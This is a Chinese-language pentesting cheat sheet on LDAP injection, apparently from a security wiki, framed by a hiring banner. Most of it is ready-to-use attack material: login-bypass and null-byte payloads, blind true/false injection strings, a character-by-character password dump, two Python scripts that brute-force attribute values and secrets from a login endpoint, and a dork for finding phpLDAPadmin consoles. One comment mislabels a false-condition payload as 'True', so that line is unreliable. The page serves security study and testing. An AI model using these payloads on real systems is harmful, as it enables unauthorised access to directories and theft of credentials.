LDAP 注入
如果你对 黑客职业 感兴趣并想要攻克不可攻克的目标 - 我们正在招聘! (需要流利的波兰语书写和口语能力 ).
LDAP 注入
LDAP
如果你想知道什么是 LDAP,请访问以下页面:
LDAP 注入 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 未能正确清理 输入时,攻击者可以通过本地代理 操纵 LDAP 语句 ,这可能导致未经授权的访问或数据操纵。
过滤器 = ( filtercomp )
过滤组件 = and / or / not / item
与 = & filterlist
或 = |filterlist
非 = ! filter
过滤列表 = 1*filter
项目 = simple / present / substring
简单 = attr filtertype assertionvalue
过滤类型 = '=' / '~=' / '>=' / '<='
存在 = attr = *
子字符串 = attr ”=” [initial] * [final]
初始 = assertionvalue
最终 = assertionvalue
(&) = 绝对真
(|) = 绝对假
例如:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
你可以访问数据库,这可能包含多种不同类型的信息。
OpenLDAP :如果到达 2 个过滤器,只执行第一个。
ADAM 或 Microsoft LDS :有 2 个过滤器时会抛出错误。
SunOne 目录服务器 5.0 :执行两个过滤器。
发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。
过滤器必须以:&
或 |
开头
示例: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
然后: (&(objectClass=
*)(ObjectClass=*))
将是第一个过滤器(被执行的那个)。
登录绕过
LDAP 支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,可能无论你在密码中插入什么,它都会被哈希处理。
Copy user = *
password = *
-- > ( & (user = * )(password = * ))
# The asterisks are great in LDAPi
Copy user = * )( &
password = * )( &
-- > ( & (user = * )( & )(password = * )( & ))
Copy user = * )( | ( &
pass = pwd )
-- > ( & (user = * )( | ( & )(pass = pwd ))
Copy user = * )( | (password = *
password = test )
-- > ( & (user = * )( | (password = * )(password = test ))
Copy user = * ))%00
pass = any
-- > ( & (user = * ))%00 -- > Nothing more is executed
Copy user = admin )( & )
password = pwd
-- > ( & (user = admin )( & ))(password = pwd ) #Can through an error
Copy username = admin )( ! ( & ( |
pass = any ))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Copy username = *
password = * )( &
-- > ( & (user = * )(password = * )( & ))
Copy username = admin ))( | ( |
password = any
-- > ( & (uid = admin )) ( | ( | ) (webpassword = any ))
列表
隐蔽 LDAP 注入
您可以强制返回 False 或 True 响应,以检查是否返回任何数据并确认可能的隐蔽 LDAP 注入:
Copy #This will result on True, so some information will be shown
Payload: * )(objectClass = * ))( & objectClass = void
Final query: ( & (objectClass = * )(objectClass = * ))( & objectClass = void )(type = Pepi* ))
Copy #This will result on True, so no information will be returned or shown
Payload: void )(objectClass = void ))( & objectClass = void
Final query: ( & (objectClass = void )(objectClass = void ))( & objectClass = void )(type = Pepi* ))
Dump data
您可以遍历 ASCII 字母、数字和符号:
Copy ( & (sn = administrator )(password = * )) : OK
( & (sn = administrator )(password = A* )) : KO
( & (sn = administrator )(password = B* )) : KO
...
( & (sn = administrator )(password = M* )) : OK
( & (sn = administrator )(password = MA* )) : KO
( & (sn = administrator )(password = MB* )) : KO
...
Scripts
发现有效的LDAP字段
LDAP对象默认包含多个属性 ,可以用来保存信息 。你可以尝试暴力破解所有这些属性以提取该信息。 你可以在这里找到默认的LDAP属性列表 。
Copy #!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http" : "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string . ascii_letters + string . digits + "_@ {} -/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes : #Extract all attributes
value = ""
finish = False
while not finish :
for char in alphabet : #In each possition test each possible printable char
query = f "*)( { attribute } = { value }{ char } *"
data = { 'login' : query , 'password' : 'bla' }
r = requests . post (url, data = data, proxies = proxy)
sys . stdout . write ( f " \r { attribute } : { value }{ char } " )
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r . text :
value += str (char)
break
if char == alphabet [ - 1 ]: #If last of all the chars, then, no more chars in the value
finish = True
print ()
特殊盲LDAP注入(不带“*”)
Copy #!/usr/bin/python3
import requests , string
alphabet = string . ascii_letters + string . digits + "_@ {} -/()!\"$%=^[]:;"
flag = ""
for i in range ( 50 ):
print ( "[i] Looking for number " + str (i))
for char in alphabet :
r = requests . get ( "http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ( "TRUE CONDITION" in r . text) :
flag += char
print ( "[+] Flag: " + flag)
break
Google Dorks
Copy intitle: "phpLDAPadmin" inurl:cmd.php
更多有效载荷
如果你对黑客职业 感兴趣并想要攻克不可攻克的目标 - 我们正在招聘! (需要流利的波兰语书写和口语能力 ).